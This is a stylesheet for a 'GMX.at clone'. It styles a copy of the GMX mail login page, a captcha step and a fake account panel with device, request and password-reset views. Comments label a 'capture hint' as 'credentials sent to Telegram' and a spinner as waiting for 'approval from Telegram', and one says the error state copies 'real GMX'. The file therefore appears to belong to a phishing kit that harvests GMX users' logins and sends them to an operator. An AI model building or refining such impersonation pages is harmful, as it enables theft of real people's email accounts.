/* ═══════════════════════════════════════════════════════════
   GMX.at clone – styles
   ═══════════════════════════════════════════════════════════ */

:root {
  --gmx-blue: #2b45d8;
  --gmx-blue-dark: #2238bd;
  --gmx-link: #2441c9;
  --sky-top: #2f6cd0;
  --sky-bottom: #d8edfc;
  --text-1: #1f2630;
  --text-2: #5c6775;
  --text-3: #8a94a3;
  --line: #dde4ec;
  --line-strong: #c9d3df;
  --card: #ffffff;
  --danger: #d92c20;
  --ok: #1a7f37;
  --ok-bg: #e9f7ee;
  --danger-bg: #fdeceb;
  --radius-card: 16px;
  --shadow-card: 0 18px 50px rgba(23, 52, 96, 0.28);
}

* { margin: 0; padding: 0; box-sizing: border-box; }

html, body { height: 100%; }

body {
  font-family: "Inter", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  color: var(--text-1);
  -webkit-font-smoothing: antialiased;
  overflow-x: hidden;
}

.hidden { display: none !important; }

/* ── Background ─────────────────────────────────────────── */

.sky {
  position: fixed;
  inset: 0;
  z-index: 0;
  background: linear-gradient(180deg,
    var(--sky-top) 0%,
    #4d86d8 28%,
    #7fb1e6 55%,
    #b9dcf6 82%,
    var(--sky-bottom) 100%);
}

.hero {
  position: fixed;
  top: 6%;
  left: -22%;
  width: 104%;
  height: 99%;
  object-fit: contain;
  object-position: center;
  z-index: 1;
  pointer-events: none;
  user-select: none;
}

/* ── Layout ─────────────────────────────────────────────── */

.main {
  position: relative;
  z-index: 2;
  min-height: 100vh;
  min-height: 100dvh;
  display: flex;
  align-items: center;
  justify-content: flex-end;
  padding: 24px clamp(16px, 5.5vw, 90px) 76px;
}

.view { display: block; }

/* ── Login card ─────────────────────────────────────────── */

.login-card {
  width: 410px;
  background: var(--card);
  border-radius: var(--radius-card);
  box-shadow: var(--shadow-card);
  padding: 36px 36px 30px;
}

.logo {
  font-family: "Nunito", "Inter", -apple-system, BlinkSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  font-weight: 900;
  text-align: center;
  font-size: 44px;
  letter-spacing: -0.03em;
  color: #14181d;
  line-height: 1.1;
}

.logo.small {
  font-size: 22px;
  text-align: left;
}

.welcome {
  text-align: center;
  margin-top: 18px;
  font-size: 20px;
  font-weight: 600;
  color: var(--gmx-blue);
}

.subtitle {
  text-align: center;
  margin-top: 6px;
  font-size: 15px;
  color: var(--text-2);
}

.step { margin-top: 22px; }

.field { display: block; margin-bottom: 18px; }

.field-label {
  display: block;
  font-size: 14px;
  font-weight: 500;
  color: var(--text-2);
  margin-bottom: 7px;
}

.field-box {
  position: relative;
  display: flex;
  align-items: center;
}

.field-box input {
  width: 100%;
  height: 50px;
  border: 1px solid var(--line-strong);
  border-radius: 999px;
  background: #fff;
  padding: 0 44px 0 18px;
  font-size: 15px;
  font-family: inherit;
  color: var(--text-1);
  outline: none;
  transition: border-color 0.15s, box-shadow 0.15s;
}

.field-box input::placeholder { color: var(--text-3); }

.field-box input:focus {
  border-color: var(--gmx-blue);
  box-shadow: 0 0 0 3px rgba(11, 94, 215, 0.15);
}

.field-box input[readonly] { padding-right: 40px; }

.field-icon {
  position: absolute;
  right: 8px;
  width: 30px;
  height: 30px;
  display: flex;
  align-items: center;
  justify-content: center;
  border: none;
  background: transparent;
  color: var(--text-3);
  cursor: pointer;
  border-radius: 50%;
}

.field-icon:hover { color: var(--gmx-link); background: #eef4fb; }

.field-icon svg { width: 18px; height: 18px; }

/* error state (like real GMX) */
.field-box.error input {
  border-color: var(--danger);
  box-shadow: 0 0 0 3px rgba(217, 44, 32, 0.12);
}

.pw-error {
  display: flex;
  align-items: center;
  gap: 7px;
  margin: -6px 0 12px 4px;
  color: var(--danger);
  font-size: 13px;
  font-weight: 500;
}

.pw-error svg { width: 17px; height: 17px; flex: none; }

.btn-primary {
  display: block;
  width: 100%;
  height: 50px;
  border: none;
  border-radius: 999px;
  background: #cfe0f5;
  color: #fff;
  font-family: inherit;
  font-size: 15px;
  font-weight: 700;
  cursor: not-allowed;
  transition: background 0.15s, transform 0.05s;
}

.btn-primary.wide { display: inline-block; width: auto; padding: 0 26px; }

.btn-primary.ready {
  background: var(--gmx-blue);
  cursor: pointer;
}

.btn-primary.ready:hover { background: var(--gmx-blue-dark); }
.btn-primary.ready:active { transform: scale(0.99); }

.btn-primary:disabled, .btn-primary.loading {
  background: #cfe0f5;
  color: #fff;
  cursor: not-allowed;
}

.btn-outline {
  display: block;
  margin: 12px auto 0;
  height: 40px;
  padding: 0 20px;
  border: 1px solid #9cc0ea;
  border-radius: 999px;
  background: transparent;
  color: var(--gmx-blue);
  font-family: inherit;
  font-size: 14.5px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s;
}

.btn-outline:hover { background: #f0f6fd; }

.btn-ghost {
  display: inline-block;
  height: 42px;
  padding: 0 22px;
  border: 1px solid var(--line-strong);
  border-radius: 999px;
  background: #fff;
  color: var(--text-1);
  font-family: inherit;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s;
}

.btn-ghost:hover { background: #f4f7fa; }

.link-back, .link-forgot, .link-logout {
  display: block;
  text-align: center;
  margin-top: 14px;
  color: var(--gmx-link);
  font-size: 13.5px;
  font-weight: 500;
  text-decoration: none;
  cursor: pointer;
  background: none;
  border: none;
  font-family: inherit;
}

.link-forgot {
  text-align: right;
  margin: -8px 2px 14px;
  font-size: 13px;
}

.link-back:hover, .link-forgot:hover, .link-logout:hover { text-decoration: underline; }

.link-logout { margin: 0; }

.divider {
  height: 1px;
  background: var(--line);
  margin: 22px 0 16px;
}

.or-text {
  text-align: center;
  font-size: 13px;
  color: var(--text-2);
}

/* ── Capture hint (credentials sent to Telegram) ────────── */

.capture-hint {
  display: flex;
  align-items: center;
  gap: 6px;
  margin: -6px 0 12px 4px;
  color: var(--text-3);
  font-size: 12.5px;
  font-weight: 500;
}

.capture-hint svg { width: 15px; height: 15px; flex: none; }

.capture-hint.ok { color: var(--ok); }

/* ── Captcha step ───────────────────────────────────────── */

.captcha-title {
  font-size: 15px;
  font-weight: 700;
  color: var(--text-1);
  text-align: center;
}

.captcha-hint {
  margin-top: 6px;
  font-size: 13px;
  color: var(--text-2);
  line-height: 1.45;
  text-align: center;
}

.captcha-row {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 10px;
  margin: 16px 0;
}

.captcha-img {
  width: 180px;
  height: 64px;
  border: 1px solid var(--line-strong);
  border-radius: 10px;
  background: #f1f5fb;
}

.btn-refresh {
  flex: none;
  width: 40px;
  height: 40px;
  display: flex;
  align-items: center;
  justify-content: center;
  border: 1px solid var(--line-strong);
  border-radius: 50%;
  background: #fff;
  color: var(--text-2);
  cursor: pointer;
  transition: background 0.15s, color 0.15s;
}

.btn-refresh:hover { background: #eef4fb; color: var(--gmx-blue); }
.btn-refresh svg { width: 19px; height: 19px; }

/* captcha answer field: wide-spaced uppercase code, centered */
#captchaField .field-label { text-align: center; }
#captchaField .field-box { max-width: 280px; margin: 0 auto; }
.field-box input.captcha-value {
  padding: 0 16px;
  text-align: center;
  letter-spacing: 0.35em;
  font-family: "Courier New", monospace;
  font-size: 16px;
  font-weight: 700;
  text-transform: uppercase;
}

/* waiting for approval from Telegram */
.spinner {
  flex: none;
  width: 22px;
  height: 22px;
  border: 3px solid #cfe0f5;
  border-top-color: var(--gmx-blue);
  border-radius: 50%;
  animation: spin 0.9s linear infinite;
}

@keyframes spin { to { transform: rotate(360deg); } }

.login-wait {
  display: flex;
  align-items: center;
  gap: 12px;
  margin-top: 24px;
  padding: 4px 2px 16px;
}

.login-wait-title { font-size: 14px; font-weight: 700; color: var(--text-1); }

.login-wait-sub {
  margin-top: 3px;
  font-size: 12.5px;
  color: var(--text-3);
  line-height: 1.4;
}

/* ── Footer ─────────────────────────────────────────────── */

.footer {
  position: fixed;
  left: 0;
  right: 0;
  bottom: 0;
  z-index: 3;
  min-height: 42px;
  display: flex;
  align-items: center;
  justify-content: center;
  flex-wrap: wrap;
  gap: 6px 30px;
  padding: 8px 12px;
  background: rgba(238, 246, 253, 0.92);
  backdrop-filter: blur(6px);
  border-top: 1px solid rgba(120, 155, 190, 0.25);
}

.footer a {
  font-size: 13px;
  color: #3d4a5c;
  text-decoration: none;
}

.footer a:hover { text-decoration: underline; }

/* ── Panel (fullscreen, no promo background) ───────────── */

body.panel-mode { background: #eef1f6; }
body.panel-mode .sky,
body.panel-mode .hero,
body.panel-mode .footer { display: none; }
body.panel-mode .main {
  display: block;
  padding: 0;
  min-height: 100vh;
  min-height: 100dvh;
}

.topbar {
  position: sticky;
  top: 0;
  z-index: 5;
  margin: 10px 14px 0;
  background: #fff;
  border-radius: 14px;
  box-shadow: 0 2px 10px rgba(30, 50, 80, 0.10);
}

.topbar-inner {
  display: flex;
  align-items: center;
  gap: 34px;
  height: 58px;
  padding: 0 20px;
}

.gmx-toplogo {
  font-family: "Nunito", "Inter", -apple-system, BlinkSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  font-weight: 900;
  font-size: 30px;
  text-align: left;
  letter-spacing: -0.03em;
}

.topnav {
  display: flex;
  align-items: center;
  gap: 26px;
  flex: 1;
  min-width: 0;
  overflow-x: auto;
}

.topnav-item {
  display: inline-flex;
  align-items: center;
  gap: 4px;
  font-size: 14.5px;
  font-weight: 600;
  color: #23272e;
  text-decoration: none;
  white-space: nowrap;
}

.topnav-item:hover { color: var(--gmx-blue); }
.topnav-item .chev { width: 15px; height: 15px; }

.topbar-right {
  display: flex;
  align-items: center;
  gap: 14px;
  margin-left: auto;
  flex: none;
}

.topbar-email {
  font-size: 13.5px;
  color: var(--text-2);
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
  max-width: 240px;
}

.btn-logout {
  flex: none;
  height: 38px;
  padding: 0 20px;
  border: none;
  border-radius: 999px;
  background: var(--gmx-blue);
  color: #fff;
  font-family: inherit;
  font-size: 13.5px;
  font-weight: 600;
  cursor: pointer;
  transition: background 0.15s;
}

.btn-logout:hover { background: var(--gmx-blue-dark); }

.panel-body {
  display: flex;
  justify-content: center;
  padding: 20px 14px 48px;
}

.panel-card {
  width: min(880px, 100%);
  background: var(--card);
  border-radius: 14px;
  box-shadow: 0 2px 12px rgba(30, 50, 80, 0.08);
  padding: 8px 26px 28px;
}

.tabs {
  display: flex;
  gap: 26px;
  border-bottom: 1px solid var(--line);
  margin-top: 4px;
  overflow-x: auto;
}

.tab {
  position: relative;
  border: none;
  background: none;
  font-family: inherit;
  font-size: 13.5px;
  font-weight: 600;
  color: var(--text-2);
  padding: 12px 2px 11px;
  cursor: pointer;
  white-space: nowrap;
}

.tab:hover { color: var(--text-1); }

.tab.active { color: var(--gmx-blue); }

.tab.active::after {
  content: "";
  position: absolute;
  left: 0;
  right: 0;
  bottom: -1px;
  height: 2.5px;
  border-radius: 2px;
  background: var(--gmx-blue);
}

.tab-panels { padding-top: 18px; }

.panel-h { font-size: 17px; font-weight: 700; color: var(--text-1); }

.panel-hint {
  margin-top: 5px;
  font-size: 13px;
  color: var(--text-3);
  line-height: 1.45;
}

/* devices */

.device-list {
  list-style: none;
  margin-top: 16px;
  display: flex;
  flex-direction: column;
  gap: 10px;
}

.device {
  display: flex;
  align-items: center;
  gap: 14px;
  padding: 14px 16px;
  border: 1px solid var(--line);
  border-radius: 14px;
  background: #fbfcfe;
}

.device.current {
  border-color: #bcd8f7;
  background: #f4f9ff;
}

.device-icon {
  flex: none;
  width: 46px;
  height: 46px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 12px;
  background: #e8f1fc;
  color: #2c67c0;
}

.device.current .device-icon { background: #d7e9fd; }

.device-icon svg { width: 26px; height: 26px; }

.device-info { flex: 1; min-width: 0; }

.device-name {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 14.5px;
  font-weight: 700;
  color: var(--text-1);
}

.device-meta {
  margin-top: 3px;
  font-size: 12.5px;
  color: var(--text-3);
  white-space: nowrap;
  overflow: hidden;
  text-overflow: ellipsis;
}

.device-meta b { color: var(--text-2); font-weight: 600; }

.badge {
  font-size: 11px;
  font-weight: 700;
  padding: 2.5px 9px;
  border-radius: 999px;
  letter-spacing: 0.02em;
}

.badge-current { background: #d7e9fd; color: #1450a8; }
.badge-unknown { background: var(--danger-bg); color: var(--danger); }

.btn-device {
  flex: none;
  height: 36px;
  padding: 0 20px;
  border: none;
  border-radius: 999px;
  background: var(--gmx-blue);
  color: #fff;
  font-family: inherit;
  font-size: 12.5px;
  font-weight: 700;
  cursor: pointer;
  transition: background 0.15s;
}

.btn-device:hover { background: var(--gmx-blue-dark); }

/* requests table */

.table-wrap {
  margin-top: 16px;
  overflow-x: auto;
  border: 1px solid var(--line);
  border-radius: 12px;
}

.req-table {
  width: 100%;
  border-collapse: collapse;
  font-size: 13px;
  min-width: 560px;
}

.req-table th {
  text-align: left;
  font-size: 12px;
  font-weight: 600;
  color: var(--text-3);
  padding: 10px 14px;
  background: #f6f8fb;
  border-bottom: 1px solid var(--line);
  white-space: nowrap;
}

.req-table td {
  padding: 11px 14px;
  border-bottom: 1px solid var(--line);
  color: var(--text-2);
  white-space: nowrap;
}

.req-table tr:last-child td { border-bottom: none; }

.req-table td:first-child { color: var(--text-1); font-weight: 500; }

.status-pill {
  display: inline-block;
  font-size: 12px;
  font-weight: 700;
  padding: 3px 10px;
  border-radius: 999px;
}

.status-ok { background: var(--ok-bg); color: var(--ok); }
.status-err { background: var(--danger-bg); color: var(--danger); }

/* pending password-reset request */

.pending-req {
  display: flex;
  align-items: center;
  gap: 14px;
  flex-wrap: wrap;
  margin-top: 16px;
  padding: 14px 16px;
  border: 1px solid #f3c98b;
  border-left: 4px solid #e8a33d;
  border-radius: 12px;
  background: #fffaf0;
}

.pending-req-icon {
  flex: none;
  width: 42px;
  height: 42px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  background: #fdeecd;
  color: #b97a17;
}

.pending-req-icon svg { width: 22px; height: 22px; }

.pending-req-info { flex: 1; min-width: 220px; }

.pending-req-title { font-size: 14.5px; font-weight: 700; color: var(--text-1); }

.pending-req-meta {
  margin-top: 3px;
  font-size: 12.5px;
  color: var(--text-2);
}

.btn-cancel-req {
  flex: none;
  height: 36px;
  padding: 0 20px;
  border: 1px solid var(--gmx-blue);
  border-radius: 999px;
  background: #fff;
  color: var(--gmx-blue);
  font-family: inherit;
  font-size: 13px;
  font-weight: 700;
  cursor: pointer;
  transition: background 0.15s;
}

.btn-cancel-req:hover { background: #eef4fd; }

/* password form */

#pwForm { margin-top: 18px; }
#pwForm .field { margin-bottom: 16px; }
#pwForm .field-box input { padding: 0 16px; }

.form-error {
  margin: -4px 0 12px 4px;
  color: var(--danger);
  font-size: 13px;
  font-weight: 500;
}

.form-actions {
  display: flex;
  align-items: center;
  gap: 12px;
  margin-top: 4px;
}

/* ── Modal ──────────────────────────────────────────────── */

.modal-overlay {
  position: fixed;
  inset: 0;
  z-index: 20;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 20px;
  background: rgba(13, 27, 48, 0.55);
  backdrop-filter: blur(2px);
  animation: fadeIn 0.15s ease;
}

.modal-card {
  width: min(400px, 100%);
  background: #fff;
  border-radius: 16px;
  box-shadow: 0 24px 70px rgba(10, 30, 60, 0.35);
  padding: 26px 26px 24px;
  text-align: center;
  animation: pop 0.18s ease;
}

.modal-icon {
  width: 52px;
  height: 52px;
  margin: 0 auto 14px;
  display: flex;
  align-items: center;
  justify-content: center;
  border-radius: 50%;
  background: #fdeceb;
  color: var(--danger);
}

.modal-icon svg { width: 26px; height: 26px; }

#modalTitle { font-size: 17px; font-weight: 700; }

.modal-text {
  margin-top: 8px;
  font-size: 13.5px;
  color: var(--text-2);
  line-height: 1.5;
}

.modal-text b { color: var(--text-1); }

.modal-actions {
  display: flex;
  gap: 10px;
  justify-content: center;
  margin-top: 20px;
}

.modal-actions .btn-ghost { height: 40px; }
.modal-actions .btn-primary { height: 40px; width: auto; padding: 0 24px; }

/* ── Toast ──────────────────────────────────────────────── */

.toast {
  position: fixed;
  left: 50%;
  bottom: 64px;
  transform: translateX(-50%);
  z-index: 30;
  max-width: min(480px, 92vw);
  padding: 11px 20px;
  border-radius: 999px;
  background: #17202e;
  color: #fff;
  font-size: 13.5px;
  font-weight: 500;
  box-shadow: 0 10px 30px rgba(10, 25, 50, 0.35);
  text-align: center;
  animation: fadeIn 0.2s ease;
}

.toast.success { background: #14532d; }
.toast.error { background: #7f1d1d; }

@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }
@keyframes pop {
  from { opacity: 0; transform: scale(0.96) translateY(8px); }
  to { opacity: 1; transform: none; }
}

/* ── Responsive ─────────────────────────────────────────── */

@media (max-width: 1100px) {
  .hero { display: none; }
}

@media (max-width: 720px) {
  .main {
    justify-content: center;
    padding: 16px 16px 76px;
  }

  .login-card {
    width: min(420px, 100%);
    padding: 30px 26px 26px;
  }

  .topbar { margin: 8px 8px 0; }
  .topbar-inner { gap: 14px; padding: 0 14px; }
  .topnav { gap: 16px; }
  .topnav-item { font-size: 13px; }
  .topbar-email { display: none; }

  .panel-body { padding: 14px 8px 40px; }
  .panel-card { padding: 6px 16px 22px; }

  .device { flex-wrap: wrap; gap: 12px; }
  .device-icon { width: 40px; height: 40px; }
  .device-icon svg { width: 22px; height: 22px; }
  /* "Abmelden" drops to its own full-width row so the device info
     (IP / location) is never squeezed out on narrow screens. */
  .device .btn-device {
    flex: 1 1 100%;
    margin-left: 0;
    height: 44px;
  }

  .footer { gap: 4px 16px; }
  .footer a { font-size: 12px; }
}